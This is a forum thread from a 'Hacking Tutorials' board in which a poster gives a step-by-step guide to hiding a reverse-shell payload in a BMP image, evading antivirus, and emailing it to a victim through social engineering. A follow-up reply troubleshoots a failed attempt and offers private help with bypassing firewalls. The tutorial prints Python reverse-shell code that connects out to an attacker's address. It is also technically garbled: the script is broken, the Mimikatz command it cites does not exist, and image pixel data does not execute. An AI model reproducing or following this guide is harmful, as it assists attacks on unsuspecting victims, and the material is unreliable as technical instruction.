Create Infected Image And Send It Via Gmail

Free Hacking Tutorials
User avatar
ethical hacker
Posts: 169
Joined: Thu Feb 29, 2024 10:48 pm

Create Infected Image And Send It Via Gmail

Postby ethical hacker » Wed May 15, 2024 4:20 am

This crafted manual elucidates the intricate process of fashioning a deleterious payload capable of circumventing the protective measures of Windows Defender, Norton, Malwarebytes, and similar security software, with the ultimate aim of disseminating it via an attachment on Gmail.

Requirements and Prerequisites:
1.- Operating System: Windows 10 or newer (32-bit or 64-bit).
2.- Python installation (ideally Python 3.x).
3.- Essential Tools: Mimikatz (for UAC bypass), Veil-Evasion (for payload obfuscation), and a Gmail account.

Step 1. Crafting a Python Reverse Shell Payload
Utilising a text editor, generate a new Python script and meticulously transcribe the subsequent code snippet therein.

Code: Select all

'''python
import socket

# Create a socket object
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Connect to the remote server
s.connect(('IP_ADDRESS', PORT_NUMBER))

# Receive a command from the server
cmd = s.recv(1024)

# Execute the command
os.system(cmd)

# Send the output back to the server
s.send(str.encode(os.popen(cmd).read()))

# Keep the connection open
s.close()
'''

Judiciously replace the placeholders 'IP_ADDRESS' and 'PORT_NUMBER' with the intended target's IP address and a port number of your selection, respectively.

Step 2. Obfuscate the Payload with Veil-Evasion
Proceed with the installation of Veil-Evasion by adhering to the guidelines delineated on their official GitHub repository.
Upon successful installation, initiate the tool and execute the subsequent actions:
1. Opt for the Python payload category.
2. Import the Python script fashioned in Step 1.
3. Choose an encryption technique (such as XOR, Base64, or PE Packing).
4. Adjust the payload configurations (e.g., shellcode, command prompt, etc.).
5. Generate the obscured payload.

Step 3. Circumventing UAC with Mimikatz
Commence by acquiring Mimikatz through the most recent release obtainable from their official GitHub repository. Extract the contents and execute the 'mimikatz.exe' application with elevated administrative rights. Input the designated command to successfully bypass UAC:

Code: Select all

'''
sekurlsa::elevateprivileges
'''


Step 4. Crafting the Infected Image
Utilise a photo editing software to generate a novel image with precise dimensions of 1920x1080 pixels. Ensure the image is saved in the BMP format. Subsequently, open the image in a hex editor and meticulously replace the actual image data with the obfuscated payload generated in Step 2. Save the modified image.

Step 5. Dispatching the Malicious Payload Through Gmail
Access your Gmail account and initiate a new email composition. Attach the infected image to the email. To evade antivirus scrutiny, consider utilising a complimentary email service such as ProtonMail or Tutanota, which are less prone to scanning attachments. Dispatch the email to the target, where the success hinges significantly on your adeptness in social engineering to entice the victim into opening the infected image.

Step 6. Execute the payload
Upon the target's initiation of the infected image via email, the payload shall be activated within their system, circumventing any active antivirus measures. Subsequently, the target's system shall be compromised, thereby granting you remote access to it.
Last edited by ethical hacker on Fri Sep 27, 2024 2:34 am, edited 2 times in total.

User avatar
noHello
Posts: 1
Joined: Fri Aug 23, 2024 1:12 pm

Re: Create Infected Image And Send It Via Gmail

Postby noHello » Sun Aug 25, 2024 1:37 pm

Hello, your explanation is good, but there are some shortcomings. Even though I did everything you said and opened my empty .bmp file with hxD and pasted the hex code of the reverse shell where the "pixel data" begins, the connection did not come. Where am I wrong?
Image

User avatar
ethical hacker
Posts: 169
Joined: Thu Feb 29, 2024 10:48 pm

Re: Create Infected Image And Send It Via Gmail

Postby ethical hacker » Mon Aug 26, 2024 7:31 am

noHello wrote:Hello, your explanation is good, but there are some shortcomings. Even though I did everything you said and opened my empty .bmp file with hxD and pasted the hex code of the reverse shell where the "pixel data" begins, the connection did not come. Where am I wrong?
Image


I am unable to view your image due to the server; hence, I suggest utilising: https://i.postimg.cc/ for any forthcoming images you wish to upload.

With regard to your concerns, there are several aspects to examine:
1. Whilst generating the infected image, it is imperative that you supplant the appropriate section of the image data with your obfuscated payload. You ought to overwrite the pixel data, ensuring that you DO NOT overwrite any portion of the BMP header or other vital metadata.
2. On certain systems, particular obfuscation techniques may be identified and obstructed. Endeavour to employ diverse obfuscation methods or tools. Occasionally, Veil-Evasion / 3.0 might not have achieved success.
3. Ensure that your payload is compatible with the target system.
4. Your target system could be behind a firewall or a network configuration that is impeding outgoing connections to your IP and port.

Should you require more precise aid / bypass firewalls / etc., you may send a PM, and I shall provide my assistance devoid of any charge.


Return to “Hacking Tutorials”